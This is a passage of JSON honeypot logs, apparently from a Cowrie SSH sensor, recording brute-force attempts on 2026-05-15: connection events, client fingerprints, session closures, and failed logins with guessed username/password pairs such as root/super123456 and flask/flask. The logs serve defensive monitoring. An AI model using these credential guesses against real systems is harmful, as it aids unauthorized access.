f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:42.071126Z","src_ip":"101.36.124.219","session":"a131273393d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:42.942312Z","src_ip":"101.36.124.219","session":"a131273393d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:44.162665Z","src_ip":"101.36.124.219","session":"a131273393d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59120,"dst_ip":"10.17.0.5","dst_port":22,"session":"30b27ef2fc55","protocol":"ssh","message":"New connection: 8.218.166.49:59120 (10.17.0.5:22) [session: 30b27ef2fc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:53.845762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:42:54.205963Z","src_ip":"8.218.166.49","session":"30b27ef2fc55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:04.229354Z","src_ip":"8.218.166.49","session":"30b27ef2fc55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:13.836483Z","src_ip":"8.218.166.49","session":"30b27ef2fc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:18.241750Z","src_ip":"8.218.166.49","session":"30b27ef2fc55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37654,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ae74c678c54","protocol":"ssh","message":"New connection: 8.218.166.49:37654 (10.17.0.5:22) [session: 5ae74c678c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:21.840551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:21.845421Z","src_ip":"8.218.166.49","session":"5ae74c678c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":49042,"dst_ip":"10.17.0.5","dst_port":22,"session":"841317eb4f56","protocol":"ssh","message":"New connection: 182.180.57.212:49042 (10.17.0.5:22) [session: 841317eb4f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:29.242060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:29.262455Z","src_ip":"182.180.57.212","session":"841317eb4f56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:29.495800Z","src_ip":"182.180.57.212","session":"841317eb4f56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123456","message":"login attempt [root/super123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:30.434133Z","src_ip":"182.180.57.212","session":"841317eb4f56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:31.677665Z","src_ip":"182.180.57.212","session":"841317eb4f56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33524,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a7f72c38612","protocol":"ssh","message":"New connection: 8.218.166.49:33524 (10.17.0.5:22) [session: 8a7f72c38612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:34.194695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:34.199625Z","src_ip":"8.218.166.49","session":"8a7f72c38612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35162,"dst_ip":"10.17.0.5","dst_port":22,"session":"17b3d5605a15","protocol":"ssh","message":"New connection: 8.218.166.49:35162 (10.17.0.5:22) [session: 17b3d5605a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:44.281956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:44.286199Z","src_ip":"8.218.166.49","session":"17b3d5605a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":44230,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc9a3f018bb","protocol":"ssh","message":"New connection: 198.23.150.42:44230 (10.17.0.5:22) [session: 0bc9a3f018bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:44.330939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:44.334695Z","src_ip":"198.23.150.42","session":"0bc9a3f018bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:44.354223Z","src_ip":"198.23.150.42","session":"0bc9a3f018bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110110","message":"login attempt [root/110110] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:44.454246Z","src_ip":"198.23.150.42","session":"0bc9a3f018bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:45.475709Z","src_ip":"198.23.150.42","session":"0bc9a3f018bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35170,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f99b2fd221","protocol":"ssh","message":"New connection: 8.218.166.49:35170 (10.17.0.5:22) [session: 41f99b2fd221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:49.895680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:49.900891Z","src_ip":"8.218.166.49","session":"41f99b2fd221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":57713,"dst_ip":"10.17.0.5","dst_port":22,"session":"afad67b8f93f","protocol":"ssh","message":"New connection: 49.207.40.162:57713 (10.17.0.5:22) [session: afad67b8f93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:54.108362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:54.113169Z","src_ip":"49.207.40.162","session":"afad67b8f93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:54.331983Z","src_ip":"49.207.40.162","session":"afad67b8f93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Helpdesk","message":"login attempt [root/Helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:55.232897Z","src_ip":"49.207.40.162","session":"afad67b8f93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:43:56.453146Z","src_ip":"49.207.40.162","session":"afad67b8f93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":39090,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fe61f3ec369","protocol":"ssh","message":"New connection: 101.36.124.219:39090 (159.203.135.109:22) [session: 3fe61f3ec369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:00.024194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:00.040405Z","src_ip":"101.36.124.219","session":"3fe61f3ec369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:00.261057Z","src_ip":"101.36.124.219","session":"3fe61f3ec369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"booboo","message":"login attempt [root/booboo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:01.187903Z","src_ip":"101.36.124.219","session":"3fe61f3ec369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:02.410788Z","src_ip":"101.36.124.219","session":"3fe61f3ec369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":50232,"dst_ip":"10.17.0.5","dst_port":22,"session":"c204360d5285","protocol":"ssh","message":"New connection: 183.182.125.142:50232 (10.17.0.5:22) [session: c204360d5285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:07.962708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:07.967186Z","src_ip":"183.182.125.142","session":"c204360d5285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:08.251603Z","src_ip":"183.182.125.142","session":"c204360d5285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51472,"dst_ip":"10.17.0.5","dst_port":22,"session":"72226ea1b71f","protocol":"ssh","message":"New connection: 8.218.166.49:51472 (10.17.0.5:22) [session: 72226ea1b71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:08.972995Z"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:09.424552Z","src_ip":"183.182.125.142","session":"c204360d5285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:10.713457Z","src_ip":"183.182.125.142","session":"c204360d5285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":34738,"dst_ip":"159.203.135.109","dst_port":22,"session":"a56c72913328","protocol":"ssh","message":"New connection: 88.147.30.59:34738 (159.203.135.109:22) [session: a56c72913328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:23.832218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:23.837503Z","src_ip":"88.147.30.59","session":"a56c72913328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:23.961373Z","src_ip":"88.147.30.59","session":"a56c72913328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passpass","message":"login attempt [root/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:24.470600Z","src_ip":"88.147.30.59","session":"a56c72913328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:44:25.598125Z","src_ip":"88.147.30.59","session":"a56c72913328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac